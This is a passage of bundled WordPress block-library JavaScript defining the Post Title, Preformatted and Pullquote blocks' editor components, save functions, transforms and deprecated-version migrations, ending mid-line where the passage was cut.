  // packages/block-library/build-module/post-title/edit.mjs
  var import_block_editor200 = __toESM(require_block_editor(), 1);
  var import_components117 = __toESM(require_components(), 1);
  var import_i18n180 = __toESM(require_i18n(), 1);
  var import_blocks88 = __toESM(require_blocks(), 1);
  var import_core_data67 = __toESM(require_core_data(), 1);
  var import_data111 = __toESM(require_data(), 1);
  var import_element101 = __toESM(require_element(), 1);
  var import_jsx_runtime376 = __toESM(require_jsx_runtime(), 1);
  function PostTitleEdit({
    attributes: { level, levelOptions, textAlign, isLink, rel, linkTarget },
    setAttributes,
    context: { postType, postId, queryId },
    insertBlocksAfter
  }) {
    const TagName2 = level === 0 ? "p" : `h${level}`;
    const isDescendentOfQueryLoop = Number.isFinite(queryId);
    const userCanEdit = (0, import_data111.useSelect)(
      (select9) => {
        if (isDescendentOfQueryLoop) {
          return false;
        }
        return select9(import_core_data67.store).canUser("update", {
          kind: "postType",
          name: postType,
          id: postId
        });
      },
      [isDescendentOfQueryLoop, postType, postId]
    );
    const [rawTitle = "", setTitle, fullTitle] = (0, import_core_data67.useEntityProp)(
      "postType",
      postType,
      "title",
      postId
    );
    const [link] = (0, import_core_data67.useEntityProp)("postType", postType, "link", postId);
    const onSplitAtEnd = () => {
      insertBlocksAfter((0, import_blocks88.createBlock)((0, import_blocks88.getDefaultBlockName)()));
    };
    const blockProps = (0, import_block_editor200.useBlockProps)({
      className: clsx_default({
        [`has-text-align-${textAlign}`]: textAlign
      })
    });
    const blockEditingMode = (0, import_block_editor200.useBlockEditingMode)();
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    let titleElement = /* @__PURE__ */ (0, import_jsx_runtime376.jsx)(TagName2, { ...blockProps, children: (0, import_i18n180.__)("Title") });
    if (postType && postId) {
      titleElement = userCanEdit ? /* @__PURE__ */ (0, import_jsx_runtime376.jsx)(
        import_block_editor200.PlainText,
        {
          tagName: TagName2,
          placeholder: (0, import_i18n180.__)("(no title)"),
          value: rawTitle,
          onChange: setTitle,
          __experimentalVersion: 2,
          __unstableOnSplitAtEnd: onSplitAtEnd,
          ...blockProps
        }
      ) : /* @__PURE__ */ (0, import_jsx_runtime376.jsx)(
        TagName2,
        {
          ...blockProps,
          dangerouslySetInnerHTML: {
            __html: fullTitle?.rendered || (0, import_i18n180.__)("(no title)")
          }
        }
      );
    }
    if (isLink && postType && postId) {
      titleElement = userCanEdit ? /* @__PURE__ */ (0, import_jsx_runtime376.jsx)(TagName2, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime376.jsx)(
        import_block_editor200.PlainText,
        {
          tagName: "a",
          href: link,
          target: linkTarget,
          rel,
          placeholder: !rawTitle.length ? (0, import_i18n180.__)("(no title)") : null,
          value: rawTitle,
          onChange: setTitle,
          __experimentalVersion: 2,
          __unstableOnSplitAtEnd: onSplitAtEnd
        }
      ) }) : /* @__PURE__ */ (0, import_jsx_runtime376.jsx)(TagName2, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime376.jsx)(
        "a",
        {
          href: link,
          target: linkTarget,
          rel,
          onClick: (event) => event.preventDefault(),
          dangerouslySetInnerHTML: {
            __html: fullTitle?.rendered || (0, import_i18n180.__)("(no title)")
          }
        }
      ) });
    }
    return /* @__PURE__ */ (0, import_jsx_runtime376.jsxs)(import_jsx_runtime376.Fragment, { children: [
      blockEditingMode === "default" && /* @__PURE__ */ (0, import_jsx_runtime376.jsxs)(import_jsx_runtime376.Fragment, { children: [
        /* @__PURE__ */ (0, import_jsx_runtime376.jsxs)(import_block_editor200.BlockControls, { group: "block", children: [
          /* @__PURE__ */ (0, import_jsx_runtime376.jsx)(
            import_block_editor200.HeadingLevelDropdown,
            {
              value: level,
              options: levelOptions,
              onChange: (newLevel) => setAttributes({ level: newLevel })
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime376.jsx)(
            import_block_editor200.AlignmentControl,
            {
              value: textAlign,
              onChange: (nextAlign) => {
                setAttributes({ textAlign: nextAlign });
              }
            }
          )
        ] }),
        /* @__PURE__ */ (0, import_jsx_runtime376.jsx)(import_block_editor200.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime376.jsxs)(
          import_components117.__experimentalToolsPanel,
          {
            label: (0, import_i18n180.__)("Settings"),
            resetAll: () => {
              setAttributes({
                rel: "",
                linkTarget: "_self",
                isLink: false
              });
            },
            dropdownMenuProps,
            children: [
              /* @__PURE__ */ (0, import_jsx_runtime376.jsx)(
                import_components117.__experimentalToolsPanelItem,
                {
                  label: (0, import_i18n180.__)("Make title a link"),
                  isShownByDefault: true,
                  hasValue: () => isLink,
                  onDeselect: () => setAttributes({ isLink: false }),
                  children: /* @__PURE__ */ (0, import_jsx_runtime376.jsx)(
                    import_components117.ToggleControl,
                    {
                      label: (0, import_i18n180.__)("Make title a link"),
                      onChange: () => setAttributes({ isLink: !isLink }),
                      checked: isLink
                    }
                  )
                }
              ),
              isLink && /* @__PURE__ */ (0, import_jsx_runtime376.jsxs)(import_jsx_runtime376.Fragment, { children: [
                /* @__PURE__ */ (0, import_jsx_runtime376.jsx)(
                  import_components117.__experimentalToolsPanelItem,
                  {
                    label: (0, import_i18n180.__)("Open in new tab"),
                    isShownByDefault: true,
                    hasValue: () => linkTarget === "_blank",
                    onDeselect: () => setAttributes({
                      linkTarget: "_self"
                    }),
                    children: /* @__PURE__ */ (0, import_jsx_runtime376.jsx)(
                      import_components117.ToggleControl,
                      {
                        label: (0, import_i18n180.__)("Open in new tab"),
                        onChange: (value) => setAttributes({
                          linkTarget: value ? "_blank" : "_self"
                        }),
                        checked: linkTarget === "_blank"
                      }
                    )
                  }
                ),
                /* @__PURE__ */ (0, import_jsx_runtime376.jsx)(
                  import_components117.__experimentalToolsPanelItem,
                  {
                    label: (0, import_i18n180.__)("Link relation"),
                    isShownByDefault: true,
                    hasValue: () => !!rel,
                    onDeselect: () => setAttributes({ rel: "" }),
                    children: /* @__PURE__ */ (0, import_jsx_runtime376.jsx)(
                      import_components117.TextControl,
                      {
                        __next40pxDefaultSize: true,
                        label: (0, import_i18n180.__)("Link relation"),
                        help: (0, import_element101.createInterpolateElement)(
                          (0, import_i18n180.__)(
                            "The <a>Link Relation</a> attribute defines the relationship between a linked resource and the current document."
                          ),
                          {
                            a: /* @__PURE__ */ (0, import_jsx_runtime376.jsx)(import_components117.ExternalLink, { href: "https://developer.mozilla.org/docs/Web/HTML/Attributes/rel" })
                          }
                        ),
                        value: rel,
                        onChange: (newRel) => setAttributes({ rel: newRel })
                      }
                    )
                  }
                )
              ] })
            ]
          }
        ) })
      ] }),
      titleElement
    ] });
  }

  // packages/block-library/build-module/post-title/deprecated.mjs
  var v134 = {
    attributes: {
      textAlign: {
        type: "string"
      },
      level: {
        type: "number",
        default: 2
      },
      isLink: {
        type: "boolean",
        default: false
      },
      rel: {
        type: "string",
        attribute: "rel",
        default: ""
      },
      linkTarget: {
        type: "string",
        default: "_self"
      }
    },
    supports: {
      align: ["wide", "full"],
      html: false,
      color: {
        gradients: true,
        link: true
      },
      spacing: {
        margin: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true
      }
    },
    save() {
      return null;
    },
    migrate: migrate_font_family_default,
    isEligible({ style: style2 }) {
      return style2?.typography?.fontFamily;
    }
  };
  var deprecated_default38 = [v134];

  // packages/block-library/build-module/post-title/index.mjs
  var { name: name81 } = block_default80;
  var settings80 = {
    icon: title_default,
    edit: PostTitleEdit,
    deprecated: deprecated_default38
  };
  var init80 = () => initBlock({ name: name81, metadata: block_default80, settings: settings80 });

  // packages/block-library/build-module/preformatted/index.mjs
  var preformatted_exports = {};
  __export(preformatted_exports, {
    init: () => init81,
    metadata: () => block_default81,
    name: () => name82,
    settings: () => settings81
  });
  var import_i18n182 = __toESM(require_i18n(), 1);
  var import_blocks91 = __toESM(require_blocks(), 1);

  // packages/block-library/build-module/preformatted/edit.mjs
  var import_i18n181 = __toESM(require_i18n(), 1);
  var import_block_editor201 = __toESM(require_block_editor(), 1);
  var import_blocks89 = __toESM(require_blocks(), 1);
  var import_jsx_runtime377 = __toESM(require_jsx_runtime(), 1);
  function PreformattedEdit({
    attributes: attributes2,
    mergeBlocks,
    setAttributes,
    onRemove,
    insertBlocksAfter,
    style: style2
  }) {
    const { content } = attributes2;
    const blockProps = (0, import_block_editor201.useBlockProps)({ style: style2 });
    return /* @__PURE__ */ (0, import_jsx_runtime377.jsx)(
      import_block_editor201.RichText,
      {
        tagName: "pre",
        identifier: "content",
        preserveWhiteSpace: true,
        value: content,
        onChange: (nextContent) => {
          setAttributes({
            content: nextContent
          });
        },
        onRemove,
        "aria-label": (0, import_i18n181.__)("Preformatted text"),
        placeholder: (0, import_i18n181.__)("Write preformatted text\u2026"),
        onMerge: mergeBlocks,
        ...blockProps,
        __unstablePastePlainText: true,
        __unstableOnSplitAtDoubleLineEnd: () => insertBlocksAfter((0, import_blocks89.createBlock)((0, import_blocks89.getDefaultBlockName)()))
      }
    );
  }

  // packages/block-library/build-module/preformatted/block.json
  var block_default81 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/preformatted",
    title: "Preformatted",
    category: "text",
    description: "Add text that respects your spacing and tabs, and also allows styling.",
    textdomain: "default",
    attributes: {
      content: {
        type: "rich-text",
        source: "rich-text",
        selector: "pre",
        __unstablePreserveWhiteSpace: true,
        role: "content"
      }
    },
    supports: {
      anchor: true,
      color: {
        gradients: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      spacing: {
        padding: true,
        margin: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true,
        __experimentalDefaultControls: {
          radius: true,
          color: true,
          width: true,
          style: true
        }
      }
    },
    style: "wp-block-preformatted"
  };

  // packages/block-library/build-module/preformatted/save.mjs
  var import_block_editor202 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime378 = __toESM(require_jsx_runtime(), 1);
  function save39({ attributes: attributes2 }) {
    const { content } = attributes2;
    return /* @__PURE__ */ (0, import_jsx_runtime378.jsx)("pre", { ...import_block_editor202.useBlockProps.save(), children: /* @__PURE__ */ (0, import_jsx_runtime378.jsx)(import_block_editor202.RichText.Content, { value: content }) });
  }

  // packages/block-library/build-module/preformatted/transforms.mjs
  var import_blocks90 = __toESM(require_blocks(), 1);
  var transforms26 = {
    from: [
      {
        type: "block",
        blocks: ["core/code", "core/paragraph", "core/verse"],
        transform: ({ content, anchor }) => (0, import_blocks90.createBlock)("core/preformatted", {
          content,
          anchor
        })
      },
      {
        type: "raw",
        isMatch: (node) => node.nodeName === "PRE" && !(node.children.length === 1 && node.firstChild.nodeName === "CODE"),
        schema: ({ phrasingContentSchema }) => ({
          pre: {
            children: phrasingContentSchema
          }
        })
      }
    ],
    to: [
      {
        type: "block",
        blocks: ["core/paragraph"],
        transform: (attributes2) => (0, import_blocks90.createBlock)("core/paragraph", attributes2)
      },
      {
        type: "block",
        blocks: ["core/code"],
        transform: (attributes2) => (0, import_blocks90.createBlock)("core/code", attributes2)
      },
      {
        type: "block",
        blocks: ["core/verse"],
        transform: (attributes2) => (0, import_blocks90.createBlock)("core/verse", attributes2)
      }
    ]
  };
  var transforms_default27 = transforms26;

  // packages/block-library/build-module/preformatted/index.mjs
  var { fieldsKey: fieldsKey15, formKey: formKey15 } = unlock(import_blocks91.privateApis);
  var { name: name82 } = block_default81;
  var settings81 = {
    icon: preformatted_default,
    example: {
      attributes: {
        /* eslint-disable @wordpress/i18n-no-collapsible-whitespace */
        // translators: Sample content for the Preformatted block. Can be replaced with a more locale-adequate work.
        content: (0, import_i18n182.__)(
          "EXT. XANADU - FAINT DAWN - 1940 (MINIATURE)\nWindow, very small in the distance, illuminated.\nAll around this is an almost totally black screen. Now, as the camera moves slowly towards the window which is almost a postage stamp in the frame, other forms appear;"
        )
        /* eslint-enable @wordpress/i18n-no-collapsible-whitespace */
      }
    },
    transforms: transforms_default27,
    edit: PreformattedEdit,
    save: save39,
    merge(attributes2, attributesToMerge) {
      return {
        content: attributes2.content + "\n\n" + attributesToMerge.content
      };
    }
  };
  if (window.__experimentalContentOnlyInspectorFields) {
    settings81[fieldsKey15] = [
      {
        id: "content",
        label: (0, import_i18n182.__)("Content"),
        type: "text",
        Edit: "rich-text"
        // TODO: replace with custom component
      }
    ];
    settings81[formKey15] = {
      fields: ["content"]
    };
  }
  var init81 = () => initBlock({ name: name82, metadata: block_default81, settings: settings81 });

  // packages/block-library/build-module/pullquote/index.mjs
  var pullquote_exports = {};
  __export(pullquote_exports, {
    init: () => init82,
    metadata: () => block_default82,
    name: () => name83,
    settings: () => settings82
  });
  var import_i18n184 = __toESM(require_i18n(), 1);
  var import_blocks94 = __toESM(require_blocks(), 1);

  // packages/block-library/build-module/pullquote/deprecated.mjs
  var import_block_editor203 = __toESM(require_block_editor(), 1);
  var import_data112 = __toESM(require_data(), 1);

  // packages/block-library/build-module/pullquote/shared.mjs
  var SOLID_COLOR_CLASS = `is-style-solid-color`;

  // packages/block-library/build-module/pullquote/deprecated.mjs
  var import_jsx_runtime379 = __toESM(require_jsx_runtime(), 1);
  var blockAttributes6 = {
    value: {
      type: "string",
      source: "html",
      selector: "blockquote",
      multiline: "p"
    },
    citation: {
      type: "string",
      source: "html",
      selector: "cite",
      default: ""
    },
    mainColor: {
      type: "string"
    },
    customMainColor: {
      type: "string"
    },
    textColor: {
      type: "string"
    },
    customTextColor: {
      type: "string"
    }
  };
  function parseBorderColor(styleString) {
    if (!styleString) {
      return;
    }
    const matches = styleString.match(/border-color:([^;]+)[;]?/);
    if (matches && matches[1]) {
      return matches[1];
    }
  }
  function multilineToInline(value) {
    value = value || `<p></p>`;
    const padded = `</p>${value}<p>`;
    const values = padded.split(`</p><p>`);
    values.shift();
    values.pop();
    return values.join("<br>");
  }
  var v57 = {
    attributes: {
      value: {
        type: "string",
        source: "html",
        selector: "blockquote",
        multiline: "p",
        role: "content"
      },
      citation: {
        type: "string",
        source: "html",
        selector: "cite",
        default: "",
        role: "content"
      },
      textAlign: {
        type: "string"
      }
    },
    supports: {
      anchor: true,
      align: ["left", "right", "wide", "full"],
      color: {
        gradients: true,
        background: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true,
          fontAppearance: true
        }
      },
      __experimentalBorder: {
        color: true,
        radius: true,
        style: true,
        width: true,
        __experimentalDefaultControls: {
          color: true,
          radius: true,
          style: true,
          width: true
        }
      },
      __experimentalStyle: {
        typography: {
          fontSize: "1.5em",
          lineHeight: "1.6"
        }
      }
    },
    save({ attributes: attributes2 }) {
      const { textAlign, citation, value } = attributes2;
      const shouldShowCitation = !import_block_editor203.RichText.isEmpty(citation);
      return /* @__PURE__ */ (0, import_jsx_runtime379.jsx)(
        "figure",
        {
          ...import_block_editor203.useBlockProps.save({
            className: clsx_default({
              [`has-text-align-${textAlign}`]: textAlign
            })
          }),
          children: /* @__PURE__ */ (0, import_jsx_runtime379.jsxs)("blockquote", { children: [
            /* @__PURE__ */ (0, import_jsx_runtime379.jsx)(import_block_editor203.RichText.Content, { value, multiline: true }),
            shouldShowCitation && /* @__PURE__ */ (0, import_jsx_runtime379.jsx)(import_block_editor203.RichText.Content, { tagName: "cite", value: citation })
          ] })
        }
      );
    },
    migrate({ value, ...attributes2 }) {
      return {
        value: multilineToInline(value),
        ...attributes2
      };
    }
  };
  var v48 = {
    attributes: {
      ...blockAttributes6
    },
    supports: {
      anchor: true,
      align: ["left", "right", "wide", "full"],
      color: {
        gradients: true,
        background: true,
        link: true
      },
      __experimentalBorder: {
        color: true,
        radius: true,
        style: true,
        width: true
      }
    },
    save({ attributes: attributes2 }) {
      const {
        mainColor,
        customMainColor,
        customTextColor,
        textColor,
        value,
        citation,
        className
      } = attributes2;
      const isSolidColorStyle = className?.includes(SOLID_COLOR_CLASS);
      let figureClasses, figureStyles;
      if (isSolidColorStyle) {
        const backgroundClass = (0, import_block_editor203.getColorClassName)(
          "background-color",
          mainColor
        );
        figureClasses = clsx_default({
          "has-background": backgroundClass || customMainColor,
          [backgroundClass]: backgroundClass
        });
        figureStyles = {
          backgroundColor: backgroundClass ? void 0 : customMainColor
        };
      } else if (customMainColor) {
        figureStyles = {
          borderColor: customMainColor
        };
      }
      const blockquoteTextColorClass = (0, import_block_editor203.getColorClassName)(
        "color",
        textColor
      );
      const blockquoteClasses = clsx_default({
        "has-text-color": textColor || customTextColor,
        [blockquoteTextColorClass]: blockquoteTextColorClass
      });
      const blockquoteStyles = blockquoteTextColorClass ? void 0 : { color: customTextColor };
      return /* @__PURE__ */ (0, import_jsx_runtime379.jsx)(
        "figure",
        {
          ...import_block_editor203.useBlockProps.save({
            className: figureClasses,
            style: figureStyles
          }),
          children: /* @__PURE__ */ (0, import_jsx_runtime379.jsxs)(
            "blockquote",
            {
              className: blockquoteClasses,
              style: blockquoteStyles,
              children: [
                /* @__PURE__ */ (0, import_jsx_runtime379.jsx)(import_block_editor203.RichText.Content, { value, multiline: true }),
                !import_block_editor203.RichText.isEmpty(citation) && /* @__PURE__ */ (0, import_jsx_runtime379.jsx)(import_block_editor203.RichText.Content, { tagName: "cite", value: citation })
              ]
            }
          )
        }
      );
    },
    migrate({
      value,
      className,
      mainColor,
      customMainColor,
      customTextColor,
      ...attributes2
    }) {
      const isSolidColorStyle = className?.includes(SOLID_COLOR_CLASS);
      let style2;
      if (customMainColor) {
        if (!isSolidColorStyle) {
          style2 = {
            border: {
              color: customMainColor
            }
          };
        } else {
          style2 = {
            color: {
              background: customMainColor
            }
          };
        }
      }
      if (customTextColor && style2) {
        style2.color = {
          ...style2.color,
          text: customTextColor
        };
      }
      return {
        value: multilineToInline(value),
        className,
        backgroundColor: isSolidColorStyle ? mainColor : void 0,
        borderColor: isSolidColorStyle ? void 0 : mainColor,
        textAlign: isSolidColorStyle ? "left" : void 0,
        ...attributes2,
        style: style2
      };
    }
  };
  var v39 = {
    attributes: {
      ...blockAttributes6,
      // figureStyle is an attribute that never existed.
      // We are using it as a way to access the styles previously applied to the figure.
      figureStyle: {
        source: "attribute",
        selector: "figure",
        attribute: "style"
      }
    },
    save({ attributes: attributes2 }) {
      const {
        mainColor,
        customMainColor,
        textColor,
        customTextColor,
        value,
        citation,
        className,
        figureStyle
      } = attributes2;
      const isSolidColorStyle = className?.includes(SOLID_COLOR_CLASS);
      let figureClasses, figureStyles;
      if (isSolidColorStyle) {
        const backgroundClass = (0, import_block_editor203.getColorClassName)(
          "background-color",
          mainColor
        );
        figureClasses = clsx_default({
          "has-background": backgroundClass || customMainColor,
          [backgroundClass]: backgroundClass
        });
        figureStyles = {
          backgroundColor: backgroundClass ? void 0 : customMainColor
        };
      } else if (customMainColor) {
        figureStyles = {
          borderColor: customMainColor
        };
      } else if (mainColor) {
        const borderColor = parseBorderColor(figureStyle);
        figureStyles = {
          borderColor
        };
      }
      const blockquoteTextColorClass = (0, import_block_editor203.getColorClassName)(
        "color",
        textColor
      );
      const blockquoteClasses = (textColor || customTextColor) && clsx_default("has-text-color", {
        [blockquoteTextColorClass]: blockquoteTextColorClass
      });
      const blockquoteStyles = blockquoteTextColorClass ? void 0 : { color: customTextColor };
      return /* @__PURE__ */ (0, import_jsx_runtime379.jsx)("figure", { className: figureClasses, style: figureStyles, children: /* @__PURE__ */ (0, import_jsx_runtime379.jsxs)(
        "blockquote",
        {
          className: blockquoteClasses,
          style: blockquoteStyles,
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime379.jsx)(import_block_editor203.RichText.Content, { value, multiline: true }),
            !import_block_editor203.RichText.isEmpty(citation) && /* @__PURE__ */ (0, import_jsx_runtime379.jsx)(import_block_editor203.RichText.Content, { tagName: "cite", value: citation })
          ]
        }
      ) });
    },
    migrate({
      value,
      className,
      figureStyle,
      mainColor,
      customMainColor,
      customTextColor,
      ...attributes2
    }) {
      const isSolidColorStyle = className?.includes(SOLID_COLOR_CLASS);
      let style2;
      if (customMainColor) {
        if (!isSolidColorStyle) {
          style2 = {
            border: {
              color: customMainColor
            }
          };
        } else {
          style2 = {
            color: {
              background: customMainColor
            }
          };
        }
      }
      if (customTextColor && style2) {
        style2.color = {
          ...style2.color,
          text: customTextColor
        };
      }
      if (!isSolidColorStyle && mainColor && figureStyle) {
        const borderColor = parseBorderColor(figureStyle);
        if (borderColor) {
          return {
            value: multilineToInline(value),
            ...attributes2,
            className,
            // Block supports: Set style.border.color if a deprecated block has `mainColor`, inline border CSS and is not a solid color style.
            style: {
              border: {
                color: borderColor
              }
            }
          };
        }
      }
      return {
        value: multilineToInline(value),
        className,
        backgroundColor: isSolidColorStyle ? mainColor : void 0,
        borderColor: isSolidColorStyle ? void 0 : mainColor,
        textAlign: isSolidColorStyle ? "left" : void 0,
        ...attributes2,
        style: style2
      };
    }
  };
  var v214 = {
    attributes: blockAttributes6,
    save({ attributes: attributes2 }) {
      const {
        mainColor,
        customMainColor,
        textColor,
        customTextColor,
        value,
        citation,
        className
      } = attributes2;
      const isSolidColorStyle = className?.includes(SOLID_COLOR_CLASS);
      let figureClass, figureStyles;
      if (isSolidColorStyle) {
        figureClass = (0, import_block_editor203.getColorClassName)("background-color", mainColor);
        if (!figureClass) {
          figureStyles = {
            backgroundColor: customMainColor
          };
        }
      } else if (customMainColor) {
        figureStyles = {
          borderColor: customMainColor
        };
      } else if (mainColor) {
        const colors = (0, import_data112.select)(import_block_editor203.store).getSettings().colors ?? [];
        const colorObject = (0, import_block_editor203.getColorObjectByAttributeValues)(
          colors,
          mainColor
        );
        figureStyles = {
          borderColor: colorObject.color
        };
      }
      const blockquoteTextColorClass = (0, import_block_editor203.getColorClassName)(
        "color",
        textColor
      );
      const blockquoteClasses = textColor || customTextColor ? clsx_default("has-text-color", {
        [blockquoteTextColorClass]: blockquoteTextColorClass
      }) : void 0;
      const blockquoteStyle = blockquoteTextColorClass ? void 0 : { color: customTextColor };
      return /* @__PURE__ */ (0, import_jsx_runtime379.jsx)("figure", { className: figureClass, style: figureStyles, children: /* @__PURE__ */ (0, import_jsx_runtime379.jsxs)(
        "blockquote",
        {
          className: blockquoteClasses,
          style: blockquoteStyle,
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime379.jsx)(import_block_editor203.RichText.Content, { value, multiline: true }),
            !import_block_editor203.RichText.isEmpty(citation) && /* @__PURE__ */ (0, import_jsx_runtime379.jsx)(import_block_editor203.RichText.Content, { tagName: "cite", value: citation })
          ]
        }
      ) });
    },
    migrate({
      value,
      className,
      mainColor,
      customMainColor,
      customTextColor,
      ...attributes2
    }) {
      const isSolidColorStyle = className?.includes(SOLID_COLOR_CLASS);
      let style2 = {};
      if (customMainColor) {
        if (!isSolidColorStyle) {
          style2 = {
            border: {
              color: customMainColor
            }
          };
        } else {
          style2 = {
            color: {
              background: customMainColor
            }
          };
        }
      }
      if (customTextColor && style2) {
        style2.color = {
          ...style2.color,
          text: customTextColor
        };
      }
      return {
        value: multilineToInline(value),
        className,
        backgroundColor: isSolidColorStyle ? mainColor : void 0,
        borderColor: isSolidColorStyle ? void 0 : mainColor,
        textAlign: isSolidColorStyle ? "left" : void 0,
        ...attributes2,
        style: style2
      };
    }
  };
  var v135 = {
    attributes: {
      ...blockAttributes6
    },
    save({ attributes: attributes2 }) {
      const { value, citation } = attributes2;
      return /* @__PURE__ */ (0, import_jsx_runtime379.jsxs)("blockquote", { children: [
        /* @__PURE__ */ (0, import_jsx_runtime379.jsx)(import_block_editor203.RichText.Content, { value, multiline: true }),
        !import_block_editor203.RichText.isEmpty(citation) && /* @__PURE__ */ (0, import_jsx_runtime379.jsx)(import_block_editor203.RichText.Content, { tagName: "cite", value: citation })
      ] });
    },
    migrate({ value, ...attributes2 }) {
      return {
        value: multilineToInline(value),
        ...attributes2
      };
    }
  };
  var v02 = {
    attributes: {
      ...blockAttributes6,
      citation: {
        type: "string",
        source: "html",
        selector: "footer"
      },
      align: {
        type: "string",
        default: "none"
      }
    },
    save({ attributes: attributes2 }) {
      const { value, citation, align } = attributes2;
      return /* @__PURE__ */ (0, import_jsx_runtime379.jsxs)("blockquote", { className: `align${align}`, children: [
        /* @__PURE__ */ (0, import_jsx_runtime379.jsx)(import_block_editor203.RichText.Content, { value, multiline: true }),
        !import_block_editor203.Ric